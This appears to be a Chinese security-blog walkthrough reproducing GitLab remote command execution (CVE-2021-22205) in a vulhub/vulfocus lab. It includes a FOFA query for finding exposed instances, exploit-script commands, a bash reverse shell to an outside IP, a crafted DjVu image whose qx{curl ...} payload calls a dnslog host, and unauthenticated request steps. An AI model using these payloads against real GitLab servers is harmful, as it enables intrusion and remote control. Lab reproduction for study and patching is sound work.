freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

GitLab 远程命令执行漏洞复现(CVE-2021-22205)
2021-11-02 21:55:50

一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205

二、影响范围

以下版本范围内的 GitLab(CE/EE)受到漏洞影响:

11.9 <=  GitLab(CE/EE)< 13.8.8
13.9 <=  GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

三、fofa搜索

自己人不打自己人

title="GitLab"

页面长这样

image-20211102092216930

四、环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

docker配置中设置的端口映射到本地的8080端口,bp开着的记得换一下端口

环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面

image-20211102154432735

五、脚本复现

1 下载工具

https://github.com/Al1ex/CVE-2021-22205

git到本地,由于执行命令无回显,可以使用dnslog外带回显结果

http://dnslog.cn/

获取一个dnslog的url,替换到脚本里面

image-20211102161540518

image-20211102161638995

开始唆

2 检测漏洞是否存在

python3 CVE-2021-22205.py -v true -t http://10.0.1.12:8080/

image-20211102161900299

3 命令执行

试一下先,不知道为什么我这里没有dnslog回显

python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "curl http://4.xx.xx.6/1.txt"

image-20211102162200134

但是服务器可以看出已经成功执行image-20211102162243798

4 反弹shell

# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "echo 'bash -i >& /dev/tcp/4.xx.xx.6/6666 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "chmod +x /tmp/1.sh"
# 服务器监听6666端口
nc -lvnp 6666
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "/bin/bash /tmp/1.sh"

image-20211102162743402

image-20211102213550299

六、手工复现-有授权

1 上传点

vulhub截止到今天2021.11.2,我今天拉的docker,gitlab环境有点问题,注册账号需要管理员审核,但找不到管理员账号密码。。。

换vulfocus靶场,搭建之后访问,会跳转到设置密码的页面,设置root新密码就可以登录啦,页面长这样image-20211102172744884

搞个普通用户复现漏洞,注册ch4nge用户

登录后到个人主页,找到Snippets,新建image-20211102201740899

此处需要上传DjVu格式图片(即Exp)

image-20211102201936387

2 DjVu格式图片制作方式

下载安装DjVuLibre地址

http://djvu.sourceforge.net/

准备好将要压缩图片的文本

(metadata
	(Copyright "\
" . qx{curl cc.n443pb.dnslog.cn} . \
" b ") )

生成Exp

djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

image-20211102203205714

3 上传Expimage-20211102203859540

虽然报错,但是已经执行了命令image-20211102203927038

将恶意代码修改为远程访问文件试一下

(metadata
	(Copyright "\
" . qx{curl http://4.xx.xx.6/1.txt} . \
" b ") )

image-20211102205014094

4 命令执行

成功执行,之后没必要一次次生成文件了,上传文件的时候使用burpsuite抓包,直接在包里改命令就好image-20211102211355774

image-20211102213342552

七、手工复现-未授权

有些gitlab是没法直接注册用户使用的,这就用到未授权获取cookie。POC都是我登录账号之后抓的

1 获取cookie

使用登录页面返回的 Cookie 值和 csrf-token 值

POC

GET /users/sign_in HTTP/1.1
Host: 10.11.1.120:8020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

image-20211102211623804

image-20211102211645904

2 RCE

使用登录页面返回的 Cookie 值和 csrf-token 值,成功实现 RCE。image-20211102211913301

image-20211102213447050

3 POC下载

文件下载

https://change.lanzouw.com/iJySRw2kr8j
密码:love

下载后导入bp的重放器,改host就行image-20211102212604909

image-20211102212619680

image-20211102212640984

八、解决方案

升级到最新版本。

要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面

九、参考

https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/

https://github.com/Al1ex/CVE-2021-22205

https://blog.csdn.net/smellycat000/article/details/121005824

https://www.wangan.com/p/7fygfydb5d6d0c1e

# Gitlab # 命令执行漏洞 # 未授权上传 # 文件解析问题 # CVE-2021-22205
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录